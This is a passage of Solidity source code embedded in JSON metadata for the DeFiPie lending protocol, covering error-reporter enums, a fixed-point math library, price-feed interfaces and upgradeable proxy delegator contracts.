ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,\r\n ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,\r\n BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,\r\n BORROW_ACCRUE_INTEREST_FAILED,\r\n BORROW_CASH_NOT_AVAILABLE,\r\n BORROW_FRESHNESS_CHECK,\r\n BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,\r\n BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,\r\n BORROW_MARKET_NOT_LISTED,\r\n BORROW_CONTROLLER_REJECTION,\r\n LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,\r\n LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,\r\n LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,\r\n LIQUIDATE_CONTROLLER_REJECTION,\r\n LIQUIDATE_CONTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,\r\n LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,\r\n LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,\r\n LIQUIDATE_FRESHNESS_CHECK,\r\n LIQUIDATE_LIQUIDATOR_IS_BORROWER,\r\n LIQUIDATE_REPAY_BORROW_FRESH_FAILED,\r\n LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,\r\n LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,\r\n LIQUIDATE_SEIZE_CONTROLLER_REJECTION,\r\n LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,\r\n LIQUIDATE_SEIZE_TOO_MUCH,\r\n MINT_ACCRUE_INTEREST_FAILED,\r\n MINT_CONTROLLER_REJECTION,\r\n MINT_EXCHANGE_CALCULATION_FAILED,\r\n MINT_EXCHANGE_RATE_READ_FAILED,\r\n MINT_FRESHNESS_CHECK,\r\n MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,\r\n MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,\r\n MINT_TRANSFER_IN_FAILED,\r\n MINT_TRANSFER_IN_NOT_POSSIBLE,\r\n REDEEM_ACCRUE_INTEREST_FAILED,\r\n REDEEM_CONTROLLER_REJECTION,\r\n REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,\r\n REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,\r\n REDEEM_EXCHANGE_RATE_READ_FAILED,\r\n REDEEM_FRESHNESS_CHECK,\r\n REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,\r\n REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,\r\n REDEEM_TRANSFER_OUT_NOT_POSSIBLE,\r\n REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,\r\n REDUCE_RESERVES_ADMIN_CHECK,\r\n REDUCE_RESERVES_CASH_NOT_AVAILABLE,\r\n REDUCE_RESERVES_FRESH_CHECK,\r\n REDUCE_RESERVES_VALIDATION,\r\n REPAY_BEHALF_ACCRUE_INTEREST_FAILED,\r\n REPAY_BORROW_ACCRUE_INTEREST_FAILED,\r\n REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,\r\n REPAY_BORROW_CONTROLLER_REJECTION,\r\n REPAY_BORROW_FRESHNESS_CHECK,\r\n REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,\r\n REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,\r\n REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,\r\n SET_COLLATERAL_FACTOR_OWNER_CHECK,\r\n SET_COLLATERAL_FACTOR_VALIDATION,\r\n SET_CONTROLLER_OWNER_CHECK,\r\n SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,\r\n SET_INTEREST_RATE_MODEL_FRESH_CHECK,\r\n SET_INTEREST_RATE_MODEL_OWNER_CHECK,\r\n SET_MAX_ASSETS_OWNER_CHECK,\r\n SET_ORACLE_MARKET_NOT_LISTED,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,\r\n SET_RESERVE_FACTOR_ADMIN_CHECK,\r\n SET_RESERVE_FACTOR_FRESH_CHECK,\r\n SET_RESERVE_FACTOR_BOUNDS_CHECK,\r\n TRANSFER_CONTROLLER_REJECTION,\r\n TRANSFER_NOT_ALLOWED,\r\n TRANSFER_NOT_ENOUGH,\r\n TRANSFER_TOO_MUCH,\r\n ADD_RESERVES_ACCRUE_INTEREST_FAILED,\r\n ADD_RESERVES_FRESH_CHECK,\r\n ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE,\r\n SET_NEW_IMPLEMENTATION\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n\r\n /**\r\n * @dev use this when reporting an opaque error from an upgradeable collaborator contract\r\n */\r\n function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), opaqueError);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract OracleErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n POOL_OR_COIN_EXIST,\r\n UNAUTHORIZED,\r\n UPDATE_PRICE\r\n }\r\n\r\n enum FailureInfo {\r\n ADD_POOL_OR_COIN,\r\n NO_PAIR,\r\n NO_RESERVES,\r\n PERIOD_NOT_ELAPSED,\r\n SET_NEW_IMPLEMENTATION,\r\n UPDATE_DATA\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract FactoryErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n INVALID_POOL,\r\n MARKET_NOT_LISTED,\r\n UNAUTHORIZED\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n CREATE_PETH_POOL,\r\n CREATE_PPIE_POOL,\r\n DEFICIENCY_LIQUIDITY_IN_POOL_OR_PAIR_IS_NOT_EXIST,\r\n SET_MIN_LIQUIDITY_OWNER_CHECK,\r\n SET_NEW_CONTROLLER,\r\n SET_NEW_DECIMALS,\r\n SET_NEW_EXCHANGE_RATE,\r\n SET_NEW_IMPLEMENTATION,\r\n SET_NEW_INTEREST_RATE_MODEL,\r\n SET_NEW_ORACLE,\r\n SET_NEW_RESERVE_FACTOR,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SUPPORT_MARKET_BAD_RESULT\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n}\r\n\r\ncontract RegistryErrorReporter {\r\n enum Error {\r\n NO_ERROR,\r\n UNAUTHORIZED\r\n }\r\n\r\n enum FailureInfo {\r\n ACCEPT_ADMIN_PENDING_ADMIN_CHECK,\r\n SET_NEW_IMPLEMENTATION,\r\n SET_PENDING_ADMIN_OWNER_CHECK,\r\n SET_NEW_FACTORY\r\n }\r\n\r\n /**\r\n * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary\r\n * contract-specific code that enables us to report opaque error codes from upgradeable contracts.\r\n **/\r\n event Failure(uint error, uint info, uint detail);\r\n\r\n /**\r\n * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator\r\n */\r\n function fail(Error err, FailureInfo info) internal returns (uint) {\r\n emit Failure(uint(err), uint(info), 0);\r\n\r\n return uint(err);\r\n }\r\n}", "keccak256": "0x948366f49dabf42cb502d5f962702ab4e2bb5ce819ddc5c86594111763ae8e84" }, "contracts/Exponential.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./CarefulMath.sol\";\r\n\r\n/**\r\n * @title Exponential module for storing fixed-precision decimals\r\n * @author DeFiPie\r\n * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.\r\n * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:\r\n * `Exp({mantissa: 5100000000000000000})`.\r\n */\r\ncontract Exponential is CarefulMath {\r\n uint constant expScale = 1e18;\r\n uint constant doubleScale = 1e36;\r\n uint constant halfExpScale = expScale/2;\r\n uint constant mantissaOne = expScale;\r\n\r\n struct Exp {\r\n uint mantissa;\r\n }\r\n\r\n struct Double {\r\n uint mantissa;\r\n }\r\n\r\n /**\r\n * @dev Creates an exponential from numerator and denominator values.\r\n * Note: Returns an error if (`num` * 10e18) > MAX_INT,\r\n * or if `denom` is zero.\r\n */\r\n function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {\r\n (MathError err0, uint scaledNumerator) = mulUInt(num, expScale);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n (MathError err1, uint rational) = divUInt(scaledNumerator, denom);\r\n if (err1 != MathError.NO_ERROR) {\r\n return (err1, Exp({mantissa: 0}));\r\n }\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: rational}));\r\n }\r\n\r\n /**\r\n * @dev Adds two exponentials, returning a new exponential.\r\n */\r\n function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n (MathError error, uint result) = addUInt(a.mantissa, b.mantissa);\r\n\r\n return (error, Exp({mantissa: result}));\r\n }\r\n\r\n /**\r\n * @dev Subtracts two exponentials, returning a new exponential.\r\n */\r\n function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n (MathError error, uint result) = subUInt(a.mantissa, b.mantissa);\r\n\r\n return (error, Exp({mantissa: result}));\r\n }\r\n\r\n /**\r\n * @dev Multiply an Exp by a scalar, returning a new Exp.\r\n */\r\n function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {\r\n (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));\r\n }\r\n\r\n /**\r\n * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.\r\n */\r\n function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {\r\n (MathError err, Exp memory product) = mulScalar(a, scalar);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return (MathError.NO_ERROR, truncate(product));\r\n }\r\n\r\n /**\r\n * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.\r\n */\r\n function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {\r\n (MathError err, Exp memory product) = mulScalar(a, scalar);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return addUInt(truncate(product), addend);\r\n }\r\n\r\n /**\r\n * @dev Divide an Exp by a scalar, returning a new Exp.\r\n */\r\n function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {\r\n (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));\r\n }\r\n\r\n /**\r\n * @dev Divide a scalar by an Exp, returning a new Exp.\r\n */\r\n function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {\r\n /*\r\n We are doing this as:\r\n getExp(mulUInt(expScale, scalar), divisor.mantissa)\r\n\r\n How it works:\r\n Exp = a / b;\r\n Scalar = s;\r\n `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`\r\n */\r\n (MathError err0, uint numerator) = mulUInt(expScale, scalar);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n return getExp(numerator, divisor.mantissa);\r\n }\r\n\r\n /**\r\n * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.\r\n */\r\n function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {\r\n (MathError err, Exp memory fraction_) = divScalarByExp(scalar, divisor);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, 0);\r\n }\r\n\r\n return (MathError.NO_ERROR, truncate(fraction_));\r\n }\r\n\r\n /**\r\n * @dev Multiplies two exponentials, returning a new exponential.\r\n */\r\n function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n\r\n (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);\r\n if (err0 != MathError.NO_ERROR) {\r\n return (err0, Exp({mantissa: 0}));\r\n }\r\n\r\n // We add half the scale before dividing so that we get rounding instead of truncation.\r\n // See \"Listing 6\" and text above it at https://accu.org/index.php/journals/1717\r\n // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.\r\n (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);\r\n if (err1 != MathError.NO_ERROR) {\r\n return (err1, Exp({mantissa: 0}));\r\n }\r\n\r\n (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);\r\n // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.\r\n assert(err2 == MathError.NO_ERROR);\r\n\r\n return (MathError.NO_ERROR, Exp({mantissa: product}));\r\n }\r\n\r\n /**\r\n * @dev Multiplies two exponentials given their mantissas, returning a new exponential.\r\n */\r\n function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {\r\n return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));\r\n }\r\n\r\n /**\r\n * @dev Multiplies three exponentials, returning a new exponential.\r\n */\r\n function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {\r\n (MathError err, Exp memory ab) = mulExp(a, b);\r\n if (err != MathError.NO_ERROR) {\r\n return (err, ab);\r\n }\r\n return mulExp(ab, c);\r\n }\r\n\r\n /**\r\n * @dev Divides two exponentials, returning a new exponential.\r\n * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,\r\n * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)\r\n */\r\n function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {\r\n return getExp(a.mantissa, b.mantissa);\r\n }\r\n\r\n /**\r\n * @dev Truncates the given exp to a whole number value.\r\n * For example, truncate(Exp{mantissa: 15 * expScale}) = 15\r\n */\r\n function truncate(Exp memory exp) pure internal returns (uint) {\r\n // Note: We are not using careful math here as we're performing a division that cannot fail\r\n return exp.mantissa / expScale;\r\n }\r\n\r\n /**\r\n * @dev Checks if first Exp is less than second Exp.\r\n */\r\n function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {\r\n return left.mantissa < right.mantissa;\r\n }\r\n\r\n /**\r\n * @dev Checks if left Exp <= right Exp.\r\n */\r\n function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {\r\n return left.mantissa <= right.mantissa;\r\n }\r\n\r\n /**\r\n * @dev Checks if left Exp > right Exp.\r\n */\r\n function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {\r\n return left.mantissa > right.mantissa;\r\n }\r\n\r\n /**\r\n * @dev returns true if Exp is exactly zero\r\n */\r\n function isZeroExp(Exp memory value) pure internal returns (bool) {\r\n return value.mantissa == 0;\r\n }\r\n\r\n function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {\r\n require(n < 2**224, errorMessage);\r\n return uint224(n);\r\n }\r\n\r\n function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {\r\n require(n < 2**32, errorMessage);\r\n return uint32(n);\r\n }\r\n\r\n function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: add_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function add_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: add_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function add_(uint a, uint b) pure internal returns (uint) {\r\n return add_(a, b, \"addition overflow\");\r\n }\r\n\r\n function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n uint c = a + b;\r\n require(c >= a, errorMessage);\r\n return c;\r\n }\r\n\r\n function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: sub_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: sub_(a.mantissa, b.mantissa)});\r\n }\r\n\r\n function sub_(uint a, uint b) pure internal returns (uint) {\r\n return sub_(a, b, \"subtraction underflow\");\r\n }\r\n\r\n function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n require(b <= a, errorMessage);\r\n return a - b;\r\n }\r\n\r\n function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});\r\n }\r\n\r\n function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: mul_(a.mantissa, b)});\r\n }\r\n\r\n function mul_(uint a, Exp memory b) pure internal returns (uint) {\r\n return mul_(a, b.mantissa) / expScale;\r\n }\r\n\r\n function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});\r\n }\r\n\r\n function mul_(Double memory a, uint b) pure internal returns (Double memory) {\r\n return Double({mantissa: mul_(a.mantissa, b)});\r\n }\r\n\r\n function mul_(uint a, Double memory b) pure internal returns (uint) {\r\n return mul_(a, b.mantissa) / doubleScale;\r\n }\r\n\r\n function mul_(uint a, uint b) pure internal returns (uint) {\r\n return mul_(a, b, \"multiplication overflow\");\r\n }\r\n\r\n function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n if (a == 0 || b == 0) {\r\n return 0;\r\n }\r\n uint c = a * b;\r\n require(c / a == b, errorMessage);\r\n return c;\r\n }\r\n\r\n function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});\r\n }\r\n\r\n function div_(Exp memory a, uint b) pure internal returns (Exp memory) {\r\n return Exp({mantissa: div_(a.mantissa, b)});\r\n }\r\n\r\n function div_(uint a, Exp memory b) pure internal returns (uint) {\r\n return div_(mul_(a, expScale), b.mantissa);\r\n }\r\n\r\n function div_(Double memory a, Double memory b) pure internal returns (Double memory) {\r\n return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});\r\n }\r\n\r\n function div_(Double memory a, uint b) pure internal returns (Double memory) {\r\n return Double({mantissa: div_(a.mantissa, b)});\r\n }\r\n\r\n function div_(uint a, Double memory b) pure internal returns (uint) {\r\n return div_(mul_(a, doubleScale), b.mantissa);\r\n }\r\n\r\n function div_(uint a, uint b) pure internal returns (uint) {\r\n return div_(a, b, \"divide by zero\");\r\n }\r\n\r\n function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {\r\n require(b > 0, errorMessage);\r\n return a / b;\r\n }\r\n\r\n function fraction(uint a, uint b) pure internal returns (Double memory) {\r\n return Double({mantissa: div_(mul_(a, doubleScale), b)});\r\n }\r\n}\r\n", "keccak256": "0xf71e80181d7633e12561f6c1bb8a2ffea45eb9faacbe7011c889a9680ea8c9b6" }, "contracts/IPriceFeeds.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./SafeMath.sol\";\r\n\r\ninterface AggregatorInterface {\r\n function latestAnswer() external view returns (int256);\r\n}\r\n\r\nlibrary UQ112x112 {\r\n uint224 constant Q112 = 2**112;\r\n\r\n // encode a uint112 as a UQ112x112\r\n function encode(uint112 y) internal pure returns (uint224 z) {\r\n z = uint224(y) * Q112; // never overflows\r\n }\r\n\r\n // divide a UQ112x112 by a uint112, returning a UQ112x112\r\n function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {\r\n z = x / uint224(y);\r\n }\r\n}\r\n\r\nlibrary FixedPoint {\r\n // range: [0, 2**112 - 1]\r\n // resolution: 1 / 2**112\r\n struct uq112x112 {\r\n uint224 _x;\r\n }\r\n\r\n // range: [0, 2**144 - 1]\r\n // resolution: 1 / 2**112\r\n struct uq144x112 {\r\n uint _x;\r\n }\r\n\r\n uint8 private constant RESOLUTION = 112;\r\n\r\n // multiply a UQ112x112 by a uint, returning a UQ144x112\r\n // reverts on overflow\r\n function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {\r\n uint z;\r\n require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), \"FixedPoint: MULTIPLICATION_OVERFLOW\");\r\n return uq144x112(z);\r\n }\r\n\r\n // decode a UQ144x112 into a uint144 by truncating after the radix point\r\n function decode144(uq144x112 memory self) internal pure returns (uint144) {\r\n return uint144(self._x >> RESOLUTION);\r\n }\r\n}\r\n\r\ninterface IUniswapV2Pair {\r\n function token0() external view returns (address);\r\n function token1() external view returns (address);\r\n function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r\n function price0CumulativeLast() external view returns (uint);\r\n function price1CumulativeLast() external view returns (uint);\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n function getPair(address tokenA, address tokenB) external view returns (address pair);\r\n}\r\n", "keccak256": "0x61ff8b54546ff946ba1fa24c387b27e8fcedb94428f241f87ddca49e0e4cc2a7" }, "contracts/InterestRateModel.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\n/**\r\n * @title DeFiPie's InterestRateModel Interface\r\n * @author DeFiPie\r\n */\r\nabstract contract InterestRateModel {\r\n /// @notice Indicator that this is an InterestRateModel contract (for inspection)\r\n bool public constant isInterestRateModel = true;\r\n\r\n /**\r\n * @notice Calculates the current borrow interest rate per block\r\n * @param cash The total amount of cash the market has\r\n * @param borrows The total amount of borrows the market has outstanding\r\n * @param reserves The total amount of reserves the market has\r\n * @return The borrow rate per block (as a percentage, and scaled by 1e18)\r\n */\r\n function getBorrowRate(uint cash, uint borrows, uint reserves) external view virtual returns (uint);\r\n\r\n /**\r\n * @notice Calculates the current supply interest rate per block\r\n * @param cash The total amount of cash the market has\r\n * @param borrows The total amount of borrows the market has outstanding\r\n * @param reserves The total amount of reserves the market has\r\n * @param reserveFactorMantissa The current reserve factor the market has\r\n * @return The supply rate per block (as a percentage, and scaled by 1e18)\r\n */\r\n function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view virtual returns (uint);\r\n\r\n}\r\n", "keccak256": "0x08fe717d48dd399f24624a8395c0f0c3784d99af419dd80ba651e754e531837c" }, "contracts/PErc20Delegator.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./ProxyWithRegistry.sol\";\r\nimport \"./RegistryInterface.sol\";\r\n\r\n/**\r\n * @title DeFiPie's PErc20Delegator Contract\r\n * @notice PTokens which wrap an EIP-20 underlying and delegate to an implementation\r\n * @author DeFiPie\r\n */\r\ncontract PErc20Delegator is ProxyWithRegistry {\r\n\r\n /**\r\n * @notice Construct a new money market\r\n * @param underlying_ The address of the underlying asset\r\n * @param controller_ The address of the Controller\r\n * @param interestRateModel_ The address of the interest rate model\r\n * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18\r\n * @param initialReserveFactorMantissa_ The initial reserve factor, scaled by 1e18\r\n * @param name_ ERC-20 name of this token\r\n * @param symbol_ ERC-20 symbol of this token\r\n * @param decimals_ ERC-20 decimal precision of this token\r\n * @param registry_ The address of the registry contract\r\n */\r\n constructor(\r\n address underlying_,\r\n address controller_,\r\n address interestRateModel_,\r\n uint initialExchangeRateMantissa_,\r\n uint initialReserveFactorMantissa_,\r\n string memory name_,\r\n string memory symbol_,\r\n uint8 decimals_,\r\n address registry_\r\n ) {\r\n // Set registry\r\n _setRegistry(registry_);\r\n\r\n // First delegate gets to initialize the delegator (i.e. storage contract)\r\n delegateTo(_pTokenImplementation(), abi.encodeWithSignature(\"initialize(address,address,address,address,uint256,uint256,string,string,uint8)\",\r\n underlying_,\r\n registry_,\r\n controller_,\r\n interestRateModel_,\r\n initialExchangeRateMantissa_,\r\n initialReserveFactorMantissa_,\r\n name_,\r\n symbol_,\r\n decimals_));\r\n }\r\n\r\n /**\r\n * @notice Internal method to delegate execution to another contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n * @param callee The contract to delegatecall\r\n * @param data The raw data to delegatecall\r\n * @return The returned bytes from the delegatecall\r\n */\r\n function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {\r\n (bool success, bytes memory returnData) = callee.delegatecall(data);\r\n assembly {\r\n if eq(success, 0) {\r\n revert(add(returnData, 0x20), returndatasize())\r\n }\r\n }\r\n return returnData;\r\n }\r\n\r\n function delegateAndReturn() internal returns (bytes memory) {\r\n (bool success, ) = _pTokenImplementation().delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize())\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize()) }\r\n default { return(free_mem_ptr, returndatasize()) }\r\n }\r\n }\r\n\r\n /**\r\n * @notice Delegates execution to an implementation contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n */\r\n fallback() external {\r\n // delegate all other functions to current implementation\r\n delegateAndReturn();\r\n }\r\n}\r\n", "keccak256": "0x2198b59ab7bba35d9e818e62be7ae97c30425104cfac6fda7dfdd41f3f3c8dfb" }, "contracts/PEtherDelegator.sol": { "content": "pragma solidity ^0.7.6;\r\n\r\nimport \"./ProxyWithRegistry.sol\";\r\nimport \"./RegistryInterface.sol\";\r\nimport \"./ErrorReporter.sol\";\r\n\r\n/**\r\n * @title DeFiPie's PETHDelegator Contract\r\n * @notice PETH which wrap a delegate to an implementation\r\n * @author DeFiPie\r\n */\r\ncontract PETHDelegator is ImplementationStorage, ProxyWithRegistry, TokenErrorReporter {\r\n\r\n /**\r\n * @notice Emitted when implementation is changed\r\n */\r\n event NewImplementation(address oldImplementation, address newImplementation);\r\n\r\n /**\r\n * @notice Construct a new money market\r\n * @param pETHImplementation_ The address of the PEthImplementation\r\n * @param controller_ The address of the Controller\r\n * @param interestRateModel_ The address of the interest rate model\r\n * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18\r\n * @param initialReserveFactorMantissa_ The initial reserve factor, scaled by 1e18\r\n * @param name_ ERC-20 name of this token\r\n * @param symbol_ ERC-20 symbol of this token\r\n * @param decimals_ ERC-20 decimal precision of this token\r\n * @param registry_ The address of the registry contract\r\n */\r\n constructor(\r\n address pETHImplementation_,\r\n address controller_,\r\n address interestRateModel_,\r\n uint initialExchangeRateMantissa_,\r\n uint initialReserveFactorMantissa_,\r\n string memory name_,\r\n string memory symbol_,\r\n uint8 decimals_,\r\n address registry_\r\n ) {\r\n // Set registry\r\n _setRegistry(registry_);\r\n _setImplementation(pETHImplementation_);\r\n\r\n // First delegate gets to initialize the delegator (i.e. storage contract)\r\n delegateTo(implementation, abi.encodeWithSignature(\"initialize(address,address,address,uint256,uint256,string,string,uint8)\",\r\n registry_,\r\n controller_,\r\n interestRateModel_,\r\n initialExchangeRateMantissa_,\r\n initialReserveFactorMantissa_,\r\n name_,\r\n symbol_,\r\n decimals_));\r\n }\r\n\r\n /**\r\n * @notice Internal method to delegate execution to another contract\r\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\r\n * @param callee The contract to delegatecall\r\n * @param data The raw data to delegatecall\r\n * @return The returned bytes from the delegatecall\r\n */\r\n function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {\r\n (bool success, bytes memory returnData) = callee.delegatecall(data);\r\n assembly {\r\n if eq(success, 0) {\r\n revert(add(returnData, 0x20), returndatasize())\r\n }\r\n }\r\n return returnData;\r\n }\r\n\r\n function delegateAndReturn() private returns (bytes memory) {\r\n (bool success, ) = implementation.delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize())\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize()) }\r\n default { return(free_mem_ptr, returndatasize()) }\r\n }\r\n }\r\n\r\n /**\r\n * @notice Delegates execution to an implementation 